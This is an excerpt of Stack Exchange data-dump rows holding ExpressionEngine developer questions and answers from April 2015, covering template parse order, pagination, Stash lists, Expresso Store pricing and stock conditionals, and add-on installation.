  <row Id="30857" PostTypeId="1" AcceptedAnswerId="30862" CreationDate="2015-04-02T18:50:45.213" Score="1" ViewCount="64" Body="&lt;p&gt;I have an article page and at the bottom I'd like to show a list of related articles. I'm using &lt;a href=&quot;http://www.solspace.com/software/detail/tag/&quot; rel=&quot;nofollow&quot;&gt;Solspace's Tag add-on&lt;/a&gt; to generate the list. In order to generate the list I've created a Low Variables snippet called &lt;em&gt;lv_sn_related_articles&lt;/em&gt; where I pass in the entry id of the entry:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:parse var='lv_sn_related_articles' preparse:entry_id='{entry_id}'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I then use this variable within the Low Variable snippet along with the Tag tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:tag:related_entries channel=&quot;articles&quot; entry_id=&quot;{entry_id}&quot; orderby=&quot;relevance&quot; status=&quot;open|featured&quot; limit=&quot;3&quot; sort=&quot;asc&quot; rank_limit=&quot;5&quot; rank_method=&quot;total_entries&quot;}&#xA;  &amp;lt;li&amp;gt;{exp:low_variables:single var=&quot;lv_sn_article_block&quot;}&amp;lt;/li&amp;gt;&#xA;{/exp:tag:related_entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Within this snippet I have another Low Variables snippet called &lt;em&gt;lv_sn_article_block&lt;/em&gt; which is an article block style I will use in various other parts of the site:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li&amp;gt;&#xA;  &amp;lt;article class=&quot;ArticleBlock&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;ArticleBlock-meta&quot;&amp;gt;&#xA;      {categories limit=&quot;1&quot;}&amp;lt;span class=&quot;ArticleBlock-category&quot;&amp;gt;&amp;lt;a href=&quot;{path=/}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;{/categories}&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;      &amp;lt;div class=&quot;small-4 medium-12 columns&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;/article/{entry_date format='%Y/%m/%d'}/{url_title}&quot;&amp;gt;&#xA;          {article_hero_image}&amp;lt;img class=&quot;ArticleBlock-image&quot; src=&quot;{exp:ce_img:pair src=&quot;{url}&quot; width=&quot;500&quot; height=&quot;281&quot; crop=&quot;yes&quot; save_type=&quot;jpg&quot; allow_scale_larger=&quot;yes&quot; quality=&quot;81&quot;}{made}{/exp:ce_img:pair}&quot;&amp;gt;{/article_hero_image}&#xA;        &amp;lt;/a&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;      &amp;lt;div class=&quot;small-8 medium-12 columns&quot;&amp;gt;&#xA;        &amp;lt;header&amp;gt;&#xA;          &amp;lt;h2 class=&quot;ArticleBlock-heading&quot;&amp;gt;&amp;lt;a href=&quot;/article/{entry_date format='%Y/%m/%d'}/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;          &amp;lt;p class=&quot;ArticleBlock-byline&quot;&amp;gt;&#xA;            By &amp;lt;a class=&quot;ArticleBlock-author&quot; href=&quot;/author/{username}&quot;&amp;gt;{author}&amp;lt;/a&amp;gt;, &amp;lt;span class=&quot;ArticleBlock-dateline&quot;&amp;gt;{entry_date format=&quot;%M %d, %Y&quot;}&amp;lt;/span&amp;gt;&#xA;          &amp;lt;/p&amp;gt;&#xA;        &amp;lt;/header&amp;gt;&#xA;        &amp;lt;p class=&quot;ArticleBlock-deck&quot;&amp;gt;{article_lead}&amp;lt;/p&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/article&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem I'm getting is that this article block does not parse. I just get the bare template tags. If I take the article block code and put it directly into the &lt;em&gt;lv_sn_related_articles&lt;/em&gt; the tags render normally. So something is happening with the nested &lt;em&gt;lv_article_block&lt;/em&gt; that is causing it to not parse. How can I make this work or can it?&lt;/p&gt;&#xA;" OwnerUserId="454" LastActivityDate="2015-04-02T20:08:05.710" Title="Trying to nest Low Variables" Tags="|low-variables|solspace-tag|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30860" PostTypeId="1" AcceptedAnswerId="30863" CreationDate="2015-04-02T19:22:56.047" Score="0" ViewCount="70" Body="&lt;p&gt;I have this link in a channel entry list template:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;a href=&quot;{site_url}/{segment_1}/{url_title}#primary&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works fine until page 2 and beyond. It's like ExpressionEngine's pagination is stripping off the &lt;code&gt;#primary&lt;/code&gt; anchor. Anyone know what's going on here?&lt;/p&gt;&#xA;" OwnerUserId="3152" LastActivityDate="2015-04-02T20:13:58.350" Title="Why do anchors in my links break after pagination?" Tags="|channel-entries|pagination|links|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30861" PostTypeId="2" ParentId="30860" CreationDate="2015-04-02T19:29:26.107" Score="0" Body="&lt;p&gt;I just answered something like this so I'll give you same answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Anchor tags are never sent to the server, and EE can't strip them from your urls.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you most likely have an addon on that template that IS doing a redirect to itself. In that situation, it can't see your anchors anyways, so it can't redirect you somewhere with a &lt;em&gt;client side&lt;/em&gt; anchor after the URN because it doesn't see them. Or your local machine (browser) is stripping them. Not sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'd definitely guess you have a redirect issue, like a {segment_1} is making EE redirect because it doesn't exists.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-04-02T19:29:26.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30862" PostTypeId="2" ParentId="30857" CreationDate="2015-04-02T20:08:05.710" Score="2" Body="&lt;p&gt;Ah, &lt;a href=&quot;http://loweblog.com/downloads/ee-parse-order.pdf&quot; rel=&quot;nofollow&quot;&gt;Parse Order&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This particular issue takes place in phase #5 of the linked PDF: parsing of module and plugin tags. This works as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first &lt;code&gt;{exp:&lt;/code&gt;-tag encountered in the template is parsed. When the tag is done, the parser starts again, parsing the first &lt;code&gt;{exp:&lt;/code&gt;-tag it encounters then. This goes on and on until there are no more &lt;code&gt;{exp:&lt;/code&gt;-tags left.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in your case, the first &lt;code&gt;{exp:low_variables:parse}&lt;/code&gt; tag is parsed. That results in a &lt;code&gt;{exp:tag:related_entries}&lt;/code&gt; tag. So that is parsed. Which results in X entries, and subsequently, X &lt;code&gt;{exp:low_variables:single}&lt;/code&gt; tags. Then, one after another, each of those are parsed. But since the variables in there should have been parsed by the Related Entries tag, but that one has already been, the vars remain unparsed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way around it, is to take the content of the &lt;code&gt;lv_sn_article_block&lt;/code&gt; var, and place it directly inside the Related Entries tag. This might result in duplicate code, but with your current setup, that's inevitable.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-04-02T20:08:05.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30863" PostTypeId="2" ParentId="30860" CreationDate="2015-04-02T20:13:58.350" Score="1" Body="&lt;p&gt;So jchrono-battle is correct in that anchor tags (properly known as fragment identifiers) are never sent to the server, but that doesn't seem to be the issue. OP stated the issue is the anchor is never being rendered to the page, not that the server doesn't know what the anchor is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would check to be sure that any templates, snippets, embeds, etc. are named properly and all needed data is being included as expected. I suspect this is a user error rather than an EE error.&lt;/p&gt;&#xA;" OwnerUserId="3768" LastActivityDate="2015-04-02T20:13:58.350" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30864" PostTypeId="1" AcceptedAnswerId="31721" CreationDate="2015-04-02T23:31:59.677" Score="1" ViewCount="46" Body="&lt;p&gt;My client wants guest and member pricing for products.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My initial thoughts were to create two sales one restricted to the members group and one restricted to a logged out (guest) group. It looks like sales can only be &lt;a href=&quot;https://www.exp-resso.com/docs/control_panel_sales.html#restrict_to_member_groups&quot; rel=&quot;nofollow&quot;&gt;restricted to member groups&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I go about adding a discount to guests?&lt;/p&gt;&#xA;" OwnerUserId="625" LastActivityDate="2015-06-01T10:29:30.663" Title="Restrict sale to guest member group?" Tags="|expresso-store|expresso|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30865" PostTypeId="2" ParentId="30838" CreationDate="2015-04-03T00:35:45.090" Score="1" Body="&lt;p&gt;This is also issue with EE pagination, which Tag uses: if you use the same URL, eg &lt;code&gt;http://example.com/entries/two+apples&lt;/code&gt; with pagination in &lt;code&gt;{exp:channel:entries}&lt;/code&gt;, the pagination URL can become &lt;code&gt;http://example.com/entries/two apples&lt;/code&gt;. Spaces in URLs render as &lt;code&gt;%20&lt;/code&gt; in the address bar, which is the URL entity equivalent of a space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is possibly a way to prevent &lt;code&gt;+&lt;/code&gt; to convert to a space by making trial-and-error changes in .htaccess, but another method could be to enable PHP in your templates and put a search &amp;amp; replace function to convert spaces to &lt;code&gt;+&lt;/code&gt; in pagination urls:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo str_replace(' ', '+', '{pagination_url}'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I posted this answer in the wrong thread earlier, but answering your follow-up question, you can use PHP, but plugins (of the search &amp;amp; replace type) &lt;em&gt;might&lt;/em&gt; be able to do the same. Unfortunately this issue is because if the EE pagination library, and how it handles the generation of pagination code.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-04-03T00:35:45.090" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30868" PostTypeId="1" CreationDate="2015-04-03T10:37:35.450" Score="0" ViewCount="152" Body="&lt;p&gt;I have this line in one file that tries to locate the EE system folder. It works just fine if the folder is inside webroot. But in my case, my folder is out from webroot and I'm totally helpless what changes I need to add to this, so it can locate the folder. Help would be nice, thanks.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;include_once(dirname(dirname(__FILE__)).DIRECTORY_SEPARATOR.'mySYSTEMfolder'.DIRECTORY_SEPARATOR.'expressionengine'.DIRECTORY_SEPARATOR.'config'.DIRECTORY_SEPARATOR.'database.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2959" LastActivityDate="2015-04-03T10:37:35.450" Title="How to setup php pointing out from webroot?" Tags="|php|system|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30869" PostTypeId="2" ParentId="30800" CreationDate="2015-04-03T14:07:57.503" Score="1" Body="&lt;p&gt;I'm not sure there is a hard &quot;## number of pages is too many&quot; answer - but  880 is certainly pushing the Pages Module way past what it was designed for.  See my writeup on the &lt;a href=&quot;http://www.train-ee.com/courseware/free-tutorials/comments/pages-module-1-an-introduction-and-history&quot; rel=&quot;nofollow&quot; title=&quot;history of the Pages Module&quot;&gt;history of the pages module.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Pages Module wasn't developed to be the basis of building the nav for an entire site and you are seeing the results of trying to do so.&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2015-04-03T14:07:57.503" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30870" PostTypeId="1" AcceptedAnswerId="31643" CreationDate="2015-04-03T17:47:48.257" Score="0" ViewCount="100" Body="&lt;p&gt;The search query below is failing and results in a &quot;Incorrect Key file for table '/tmp/....'; try to repair it&quot; SQL error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SELECT DISTINCT(t.entry_id), t.entry_id, t.channel_id, t.forum_topic_id, t.author_id, t.ip_address, t.title, t.url_title,&#xA;t.status, t.view_count_one, t.view_count_two, t.view_count_three, t.view_count_four, t.allow_comments, t.comment_expiration_date, &#xA;t.sticky, t.entry_date, t.year, t.month, t.day, t.entry_date, t.edit_date, t.expiration_date, t.recent_comment_date, t.comment_total, &#xA;t.site_id as entry_site_id, w.channel_title, w.channel_name, w.search_results_url, w.search_excerpt, w.channel_url, w.comment_url, &#xA;w.comment_moderate, w.channel_html_formatting, w.channel_allow_img_urls, w.channel_auto_link_urls, w.comment_system_enabled, m.username, &#xA;m.email, m.url, m.screen_name, m.location, m.occupation, m.interests, m.aol_im, m.yahoo_im, m.msn_im, m.icq, m.signature, m.sig_img_filename, &#xA;m.sig_img_width, m.sig_img_height, m.avatar_filename, m.avatar_width, m.avatar_height, m.photo_filename, m.photo_width, m.photo_height, &#xA;m.group_id, m.member_id, m.bday_d, m.bday_m, m.bday_y, m.bio, md.&lt;em&gt;, wd.&lt;/em&gt; FROM exp_channel_titles AS t LEFT JOIN exp_channels AS w ON t.channel_id = w.channel_id &#xA;LEFT JOIN exp_channel_data AS wd ON t.entry_id = wd.entry_id LEFT JOIN exp_members AS m ON m.member_id = t.author_id &#xA;LEFT JOIN exp_member_data AS md ON md.member_id = m.member_id WHERE t.entry_id IN (4,20,38,42,94,104,106,118,134) ORDER BY entry_date desc LIMIT 0, 8&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We believe that the exp_channel_data table and its 1371 columns is at the source of the issue . When we remove it from the query (by removing wd.* before the FROM) everything works as expected. We've read multiple stackoverflow posts dealing with &quot;Incorrect Key File&quot; issues in SQL and have noted that the most common response was to check that /tmp wasn't running out of space, but our /tmp directory has 15GB free. We've come across a forum post on your website that may relate to what we are experiencing; &lt;a href=&quot;https://ellislab.com/forums/viewthread/61159/#301157&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/forums/viewthread/61159/#301157&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6195" LastActivityDate="2015-05-26T23:58:54.490" Title="Expression Engine Search Issue: Incorrect Key file for table" Tags="|database-error|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30871" PostTypeId="1" AcceptedAnswerId="30872" CreationDate="2015-04-03T18:08:46.867" Score="1" ViewCount="37" Body="&lt;p&gt;I am building a module and I am looping thru data to set a value for each key, to be used as EE template tags.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach($missing_fields as $field)&#xA;{&#xA;    $count++;&#xA;&#xA;    $vars = array(&#xA;        'field_id'              =&amp;gt;  $field-&amp;gt;m_field_id,&#xA;        'field_name'            =&amp;gt;  $field-&amp;gt;m_field_name,&#xA;        'field_label'           =&amp;gt;  $field-&amp;gt;m_field_label,&#xA;        'field_type'            =&amp;gt;  $field-&amp;gt;m_field_type,&#xA;        'field_list_items'      =&amp;gt;  format_list_items($field-&amp;gt;m_field_list_items),&#xA;        'count'                 =&amp;gt;  $count,&#xA;        'total_fields'          =&amp;gt;  count($missing_fields),&#xA;    );&#xA;&#xA;    $out .= $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables_row($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata, $vars);&#xA;}&#xA;&#xA;&#xA;return $out;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the template, I want to display the field's label, which works, when it is a select field (notice conditional), I want to be able to loop thru the values.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:module_name:form}&#xA;&#xA;    &amp;lt;label&amp;gt;{field_label}&amp;lt;/label&amp;gt;&#xA;&#xA;    {if field_type == &quot;select&quot;}&#xA;    &amp;lt;select name=&quot;{field_name}&quot;&#xA;        {field_list_items}&#xA;            {!-- loop thru each select value --}&#xA;            &amp;lt;option value=&quot;{select_item}&quot;&amp;gt;{select_item}&amp;lt;/option&amp;gt;&#xA;        {/field_list_items}&#xA;    &amp;lt;/select&amp;gt;&#xA;    {/if}&#xA;&#xA;{/exp:module_name:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I created a format_list_items helper function that just returns a basic array of data for testing purposes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return array('value 1', 'value 2');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I looked at the user module to see if they did anything like this in the profile edit functions &amp;amp; also looked at EE's myaccount.php line 364 (in edit_profile function).&lt;/p&gt;&#xA;" OwnerUserId="13" LastActivityDate="2015-04-03T18:31:12.930" Title="module template tag looping thru values in module template tag" Tags="|templates|add-on-development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30872" PostTypeId="2" ParentId="30871" CreationDate="2015-04-03T18:31:12.930" Score="1" Body="&lt;p&gt;Tag pairs need to be formatted correctly as an array of arrays like this. Just think of the tag pair as a module tag, and the arrays as the &lt;code&gt;$vars&lt;/code&gt; variable in your example above.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$field_list_items = array(&#xA;    array('select_item' =&amp;gt; 'value 1'),&#xA;    array('select_item' =&amp;gt; 'value 2'),&#xA;    ...&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1539" LastActivityDate="2015-04-03T18:31:12.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30873" PostTypeId="1" CreationDate="2015-04-03T19:00:42.723" Score="0" ViewCount="44" Body="&lt;p&gt;ok so this sounds basic;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I've installed latest wygwam 3.3.3 and seemed to install fine.&lt;/li&gt;&#xA;&lt;li&gt;ok so is CKeditor supposed to be installed onto EE on the root? Because between CKeditor's lack of answers for installation with EE and wygwam's lack of explaining how CKeditor is installed with its product, I'm lost.&lt;/li&gt;&#xA;&lt;li&gt;any help is appreciated! thanks!&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="6196" LastActivityDate="2015-04-03T19:10:20.877" Title="I sound like a newb, but is CKeditor supposed to be installed onto the root of EE so Wygwam can actually work?" Tags="|wygwam|ckeditor|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30874" PostTypeId="2" ParentId="30873" CreationDate="2015-04-03T19:09:53.330" Score="1" Body="&lt;p&gt;You shouldn't have to do anything but install Wygwam. CKeditor is just installed under Wygwam, you can find it in &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;themes &amp;gt; third_party &amp;gt; wygwam &amp;gt; lib &amp;gt; ckeditor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1539" LastActivityDate="2015-04-03T19:09:53.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30875" PostTypeId="2" ParentId="30873" CreationDate="2015-04-03T19:10:20.877" Score="0" Body="&lt;p&gt;If you've installed the addon correctly, you do not need to do &lt;em&gt;anything&lt;/em&gt; with CKeditor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you've copied these folders:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Wygwam3.3.3/themes/third_party&#xA;-&amp;gt; copy to &#xA;your-web-root/themes/third_party&#xA;&#xA;Wygwam3.3.3/ee2/third_party/&#xA;-&amp;gt; copy to &#xA;your-web-root/system/expressionengine/third_party&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then make sure you install the addon through the Add-ons -&gt; Modules page in the back end. IF you're looking to use CKeditor separately from EE, you can find the copy that comes with Wygwam in this folder (from the installation folder):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Wygwam3.3.3/themes/third_party/wygwam/lib/ckeditor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it might be a modified fork of CKeditor (probably is) for use with Wygwam, so if you need to use it separatly, I would recommend downloading it separately. &lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-04-03T19:10:20.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30878" PostTypeId="2" ParentId="30790" CreationDate="2015-04-04T12:25:29.580" Score="4" Body="&lt;p&gt;You have a few options. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;While in development, frequently clone your database from production to dev, which reduces the chance that they will diverge significantly.&lt;/li&gt;&#xA;&lt;li&gt;Try to reduce situations where you rely on the entry ID. Find other things that you can control better, like making a decision based on some distinguishing data in the entry itself, or if you use Structure, setting the template to something special.&lt;/li&gt;&#xA;&lt;li&gt;If you use master.config, create a global that defines which entry_id to use, and set it per environment, just like database settings are set per environment.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;At the agency I work for, we've used all of these techniques. It's just a question of which is appropriate for your current task. &lt;/p&gt;&#xA;" OwnerUserId="26" LastActivityDate="2015-04-04T12:25:29.580" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30879" PostTypeId="1" AcceptedAnswerId="30914" CreationDate="2015-04-04T14:40:45.843" Score="0" ViewCount="134" Body="&lt;p&gt;Following on from here:&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/30772/output-x-twice-then-y-then-x-twice/30777?noredirect=1#comment32811_30777&quot;&gt;Output x twice then y, then x twice&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two lists.  (E) is full of entries from multiple channels.  (T) is a collection of tweets from another channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On each page there needs to be 1 tweet and 5 entries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The output order needs to be (E) (E) (T) (E) (E) (E)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The output order has been resolved using the @Romans-8---31-39 method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using ajax to load in the next set of entries/tweets and appended onto the bottom of the list.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's nearly all working, except for the tweets.  As the url for loading the next set of entries is P5, it is returning every 5th tweet.  I've tried using a negative offset on the get tweet list call, but to no prevail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code (just the core stuff here)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!--set main multi-channel entry list--}&#xA;{exp:stash:set_list name=&quot;posts&quot;  parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;    {exp:channel:entries channel=&quot;events|projects|stories|voices&quot; dynamic=&quot;no&quot; disable=&quot;categories|member_data&quot; paginate=&quot;bottom&quot; limit=&quot;5&quot; orderby=&quot;date&quot; sort=&quot;desc&quot;} &#xA;      {stash:title}{title}{/stash:title}&#xA;      {!-- create the pagination links --}&#xA;            {paginate}&#xA;        {exp:stash:set_list:nested name=&quot;pagination&quot;}&#xA;            {stash:current_page}{current_page}{/stash:current_page}&#xA;          {pagination_links}&#xA;            {next_page}{stash:next_page}{pagination_url}{/stash:next_page}{/next_page}&#xA;          {/pagination_links}&#xA;        {/exp:stash:set_list:nested}&#xA;        {/paginate}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;{!--set tweet list--}&#xA;{exp:stash:set_list name=&quot;tweets&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;3&quot;}&#xA;    {exp:channel:entries channel=&quot;tweets&quot; dynamic=&quot;no&quot; disable=&quot;categories|member_data&quot; limit=&quot;1&quot; paginate=&quot;bottom&quot; orderby=&quot;date&quot; sort=&quot;desc&quot;} &#xA;        {stash:tweet}{tweet}{/stash:tweet}&#xA;        {!--set a number to match every third count where the tweet should be output--}&#xA;        {stash:two_count}{exp:math formula=&quot;{count} * 3&quot;}{/stash:two_count}&#xA;        {stash:two_count_next}{exp:math formula=&quot;{count} * 4&quot;}{/stash:two_count_next}&#xA;    {/exp:channel:entries}&#xA;        {paginate}&#xA;      {exp:stash:set_list:nested name=&quot;pagination_t&quot;}&#xA;        {pagination_links}&#xA;            {stash:current_page}{current_page}{/stash:current_page}&#xA;          {next_page}{stash:next_page}{pagination_url}{/stash:next_page}{/next_page}&#xA;        {/pagination_links}&#xA;      {/exp:stash:set_list:nested}&#xA;    {/paginate}&#xA;{/exp:stash:set_list}&#xA;&#xA;&#xA;{!--output multi-channel list and tweet list--}&#xA;&amp;lt;div class=&quot;ajax-wrapper&quot;&amp;gt;&#xA;    {exp:stash:get_list name=&quot;posts&quot; prefix=&quot;st1&quot;}&#xA;        {!-- PAGINATED PAGE --}&#xA;        {!-- check to see what page we are on, slightly different layout used --}&#xA;        {exp:switchee variable=&quot;{segment_1}&quot; parse=&quot;inward&quot;}&#xA;            {case value=&quot;#^P(\d+)$#&quot;}&#xA;                {!--output tweet on every forth loop--}&#xA;                {if st1:count % 4 == 0}&#xA;                            {!-- get the tweet --}&#xA;                    {exp:stash:get_list:nested name=&quot;tweets&quot; match=&quot;#{st1:count}#&quot; limit=&quot;1&quot; against=&quot;two_count_next&quot; prefix=&quot;st2&quot;}&#xA;                        {!--if no results, output main channel entry--}&#xA;                        {!-- image left / text right --}&#xA;                        {if st2:no_results}&#xA;                            {st1:title}&#xA;                        {/if}&#xA;                        {!--tweet--}&#xA;                            {st2:tweet}&#xA;                        {!--3rd main--}&#xA;                        {!-- image left / text right --}&#xA;                        {st1:title}&#xA;                    {/exp:stash:get_list:nested}&#xA;                {!--otherwise output main channel entry--}&#xA;                {if:else}&#xA;                    {st1:title}&#xA;                {/if}                       &#xA;            {/case}&#xA;&#xA;            {!-- FIRST PAGE, slightly different layout used --}&#xA;            {case default=&quot;true&quot;}&#xA;               {!--output tweet on every third loop--}&#xA;            {if st1:count % 3 == 0}&#xA;                {exp:stash:get_list:nested name=&quot;tweets&quot; limit=&quot;1&quot; match=&quot;#{st1:count}#&quot; against=&quot;two_count&quot; prefix=&quot;st2&quot;}&#xA;                    {st2:tweet}&#xA;                {/exp:stash:get_list:nested}&#xA;              {!--3rd main--}&#xA;                        {st1:title}&#xA;                {!--otherwise output main channel entry--}&#xA;            {if:else}&#xA;                    {st1:title}&#xA;            {/if}&#xA;            {/case}&#xA;        {/exp:switchee}  &#xA;&#xA;    {/exp:stash:get_list}&#xA;    {exp:stash:get_list name=&quot;pagination&quot;}&#xA;        {if next_page}&amp;lt;a href=&quot;{next_page}&quot; class=&quot;pager-link js-pagination&quot;&amp;gt;Next&amp;lt;/a&amp;gt;{/if}&#xA;        {exp:stash:set name=&quot;current_page&quot;}{current_page}{/exp:stash:set}&#xA;    {/exp:stash:get_list}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="730" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2015-04-07T14:58:36.387" Title="Paginate two stash lists in one" Tags="|stash|pagination|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30880" PostTypeId="1" CreationDate="2015-04-05T00:35:16.137" Score="0" ViewCount="61" Body="&lt;p&gt;I'm setting up an online apparel store and would like to set up a conditional that will check the item count in a particular sku number and output something like this &quot;Hurry, only 9 left!!&quot; when the count is equal or less than say 10.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if store_product_stock &amp;lt;= 10}&#xA;&amp;lt;p&amp;gt;Hurry, only &amp;lt;em&amp;gt;&amp;lt;span class=&quot;store_product_stock&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/em&amp;gt; left!&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But that doesn't work. Any help would be great!&lt;/p&gt;&#xA;" OwnerUserId="990" LastActivityDate="2015-04-10T14:32:09.360" Title="Adding conditional to Store &quot;Hurry! Only x items left!!&quot;" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30881" PostTypeId="1" CreationDate="2015-04-05T00:52:07.463" Score="0" ViewCount="51" Body="&lt;p&gt;I upgraded my EE to 2.9.3 and I am running Expresso-Store 1.6.3. Now I am getting an javascript error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error: Call to undefined method Cp::set_variable() in /home2/oldspani/public_html/osd/expressionengine/third_party/store/mcp.store.php on line 65&lt;/p&gt;&#xA;" OwnerUserId="1330" LastActivityDate="2015-04-05T02:25:55.613" Title="Fatal error: Call to undefined method EE_Javascript" Tags="|expresso-store|upgrade|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
